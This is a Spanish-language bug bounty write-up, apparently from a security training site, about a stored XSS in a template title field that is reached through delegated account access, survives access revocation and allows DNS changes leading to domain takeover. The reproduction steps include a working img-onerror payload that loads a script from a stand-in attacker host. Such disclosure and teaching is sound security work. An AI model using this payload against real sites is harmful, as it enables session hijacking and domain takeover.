Respuesta rápida
Un campo de título de plantilla parece inofensivo, pero si llega al DOM sin sanitización y lo escribe alguien con acceso delegado a la cuenta, se convierte en Stored XSS persistente. En el caso real documentado, el payload sobrevivía a la revocación de acceso y permitía modificar registros DNS desde la sesión de la víctima. Bounty: €1.200.
El escenario: acceso delegado como vector de entrada
La plataforma vulnerable tenía una funcionalidad de Access Manager: un usuario podía invitar a otro a gestionar su cuenta. Cuando el acceso se concedía, el invitado operaba bajo el contexto de la cuenta del propietario, con acceso a herramientas administrativas (incluyendo la configuración de dominios).
El problema es que ese flujo de confianza no venía acompañado de restricciones sobre qué podía escribir el invitado en campos aparentemente inocuos. El campo título de plantilla aceptaba y almacenaba HTML sin ningún tipo de sanitización. Nadie revisó ese input porque "es solo un nombre".
Los dos fallos encadenados
1. Falta de sanitización en el campo de título
El campo de título de las plantillas renderiza su contenido directamente en el DOM cuando la plantilla se edita o duplica. No hay codificación de entidades HTML, no hay CSP efectivo que bloquee la ejecución inline, y el valor del campo se inserta en un contexto donde los atributos de evento son evaluados por el navegador.
2. Persistencia del payload tras revocar el acceso
Una vez almacenado el payload, el script malicioso queda vinculado a la plantilla, no al usuario que lo inyectó. Revocar el acceso al atacante no elimina el código. Cada vez que el propietario abre o duplica esa plantilla, el payload sigue ejecutándose, en su sesión, con sus credenciales.
Pasos de reproducción
Prerequisito: el atacante ha solicitado acceso a la cuenta de la víctima a través del Access Manager y el propietario lo ha concedido.
- Desde la sesión delegada, navegar al módulo de Templates.
- Crear una nueva plantilla.
- En el campo Title, inyectar el siguiente payload:
<img src="x" onerror="var s=document.createElement('script');s.src='https://attacker.tld/payload.js';document.body.appendChild(s)">
- Guardar la plantilla.
- Duplicar la plantilla recién creada.
- Hacer clic en Edit sobre la copia.
- El script externo se carga y ejecuta automáticamente en la sesión del propietario de la cuenta.
El payload carga un script externo controlado por el atacante, lo que permite actualizarlo en cualquier momento sin necesidad de volver a tocar la plantilla.
Análisis de la causa raíz
La causa técnica es sencilla: el backend almacena el valor del campo sin pasar por ninguna función de escape, y el frontend lo renderiza directamente en el DOM. El contexto de ejecución (sesión autenticada con permisos sobre configuración de dominio) es lo que convierte un XSS ordinario en algo con impacto real.
Atacante con acceso delegado
↓ Crea plantilla con payload XSS en título
POST /templates → título sin sanitizar
↓ Almacenado en BD tal cual
Base de datos (payload persistido)
↓ Víctima abre/duplica plantilla
DOM evalúa atributo onerror
↓ Carga script externo
Ejecuta en sesión autenticada de la víctima
↓
Modificar registros DNS → Domain takeover
Impacto
El script se ejecuta dentro de la sesión autenticada de la víctima, lo que significa que puede:
- Realizar llamadas a la API con las credenciales de la sesión activa
- Modificar la configuración de dominios vinculados a la cuenta
- Añadir o cambiar registros DNS (A, CNAME, MX, TXT)
- Añadir registros maliciosos que apunten a infraestructura del atacante
El escenario de domain takeover es directo: añadir un registro que delegue la resolución a servidores controlados por el atacante, interceptar tráfico o tomar el control de servicios ligados al dominio.
Qué buscar en objetivos similares
Cuando un target tiene un sistema de acceso delegado o impersonación (agencias, colaboradores, subaccounts), la superficie de ataque se multiplica: hay que revisar todos los campos de entrada accesibles desde esa sesión secundaria, especialmente los que parecen meramente descriptivos.
- Campos de nombre o título en recursos como plantillas, campañas, workflows o proyectos.
- ¿El valor se renderiza en algún punto en el DOM sin pasar por
textContent? - ¿El backend aplica sanitización, o simplemente almacena y devuelve el valor raw?
- ¿Qué pasa cuando el recurso se duplica? A veces la copia relaja las validaciones del original.
- Verificar si el payload sobrevive a una revocación de acceso — si es así, el impacto temporal del atacante se extiende indefinidamente.
Los XSS en campos de nombre son casi siempre de baja dificultad técnica, pero cuando aterrizan en un contexto con privilegios sobre infraestructura crítica (dominios, DNS, facturación), el payout y el impacto real son proporcionales al daño potencial.
Labs relacionados
Practica esta clase de Stored XSS en escenarios reales con acceso delegado y campos administrativos: labs de XSS.
Practica esto en un lab
Xss
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS €1200 — bypass de sanitizer via SVG href javascript: con entity encoding
Walkthrough de un report real €1200: stored XSS en POE bypassando sanitizer fix mediante SVG con href=`javascript:` y HTML entity encoding sobre los caracteres filtrados.
Stored XSS vía SVG con href javascript: en chat — reclasificación de Self-XSS
Un payload SVG subido como adjunto. Filtro bypassed. Renderizado inline en el contexto principal. Cualquier participante del chat queda expuesto al click.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.